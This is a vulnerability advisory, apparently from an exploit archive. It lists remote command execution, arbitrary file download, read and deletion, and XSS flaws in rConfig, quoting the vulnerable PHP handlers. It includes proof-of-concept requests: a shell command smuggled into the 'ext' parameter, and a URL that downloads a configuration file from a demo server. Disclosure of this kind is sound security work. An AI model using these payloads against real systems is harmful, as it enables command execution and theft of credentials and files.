Home / os / solaris

RConfig 3.1.1 < = 2.0 RCE & AFD & XSS Multiple Vulnerabilities

Posted on 30 November -0001

<HTML><HEAD><TITLE>rConfig 3.1.1 <= 2.0 RCE & AFD & XSS Multiple Vulnerabilities</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>rConfig 3.1.1 <= 2.0 RCE & AFD & XSS Multiple Vulnerabilities
http://www.rconfig.com/

rConfig is a free open source network device configuration management utility for network engineers to take frequent configuration snapshots of their network devices. rConfig is unique, because you choose what commands you want to run against your devices. Simply configure rConfig with the list of commands you wish to apply to a category of devices, and add devices to the category. Create a scheduled task, and rConfig will do the rest. rConfig Version 3 now has a Configuration Compliance Management utility to enable you to monitor device configurations for policy compliance.

Vulnerabilities:

===========================================================================
===========================================================================

1. Remote Command Execution

File: lib/ajaxHandlers/ajaxArchiveFiles.php

<?php

$mainPath = $_GET['path'];
$archiveMainPath = $mainPath . "archive/";
$ext = "*." . $_GET['ext'];
$fullpath = $mainPath . $ext;

// create and archive dir if not already created
if (!is_dir($archiveMainPath)) {
mkdir("$archiveMainPath");
}

$today = date("Ymd");

$commandString = "sudo -u apache zip -r -j " . $archiveMainPath . "filename" . $today . ".zip " . $mainPath . $ext;

exec($commandString);

PoC:

/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php?path=/&ext=|%20id

2. Arbitrary file download

File: /www/lib/crud/downloadFile.php

<?php

// from here http://www.finalwebsites.com/forums/topic/php-file-download

$path = $_SERVER['DOCUMENT_ROOT'] . "/path2file/"; // change the path to fit your websites document structure
$fullPath = $_GET['download_file'];

if ($fd = fopen($fullPath, "r")) {
$fsize = filesize($fullPath);
$path_parts = pathinfo($fullPath);
$ext = strtolower($path_parts["extension"]);
switch ($ext) {
case "pdf":
header("Content-type: application/pdf"); // add here more headers for diff. extensions
header("Content-Disposition: attachment; filename="" . $path_parts["basename"] . """); // use 'attachment' to force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition: filename="" . $path_parts["basename"] . """);
}
header("Content-length: $fsize");
header("Cache-control: private"); //use this to open files directly
while (!feof($fd)) {
$buffer = fread($fd, 2048);
echo $buffer;
}
}
fclose($fd);
exit;
// example: place this kind of link into the document where the file download is offered:
// <a href="download.php?download_file=some_file.pdf">Download here</a>
?>

PoC v2:
http://demo.rconfig.com/v2/www/lib/crud/downloadFile.php?download_file=/home/r560544/demo/v2/config/config.inc.php

3. XSS:

http://demo.rconfig.com/v2/www/devicemgmt.php?deviceId=168&device=XSS

4. Arbitrary file read

File: lib/ajaxHandlers/ajaxGetFileByPath.php

<?php

// used to retrive contents of file specified in JS in devicemgmt.php
$filepath = $_GET['path'];

if (file_exists($filepath)) {
$fileArr = file($filepath);
} else {
$fileArr = 'Failed';
}
echo json_encode($fileArr);


?>

5. Arbitrary File Deletion

File: lib/ajaxHandlers/ajaxDeleteAllLoggingFiles.php

<?php

$path = $_GET['path'];
$ext = "*." . $_GET['ext'];
$fullpath = $path . $ext;

foreach (glob($fullpath) as $v) {
unlink($v);
}

$fileCount = count(glob($path . '*.' . $ext));

if ($fileCount > 0) {
$response = json_encode(array(
'failure' => true
));
} else {
$response = json_encode(array(
'success' => true
));
}

echo $response;

?>

(there is much more)

===========================================================================
===========================================================================
</BODY></HTML>

 

TOP

Malware :

Exploits :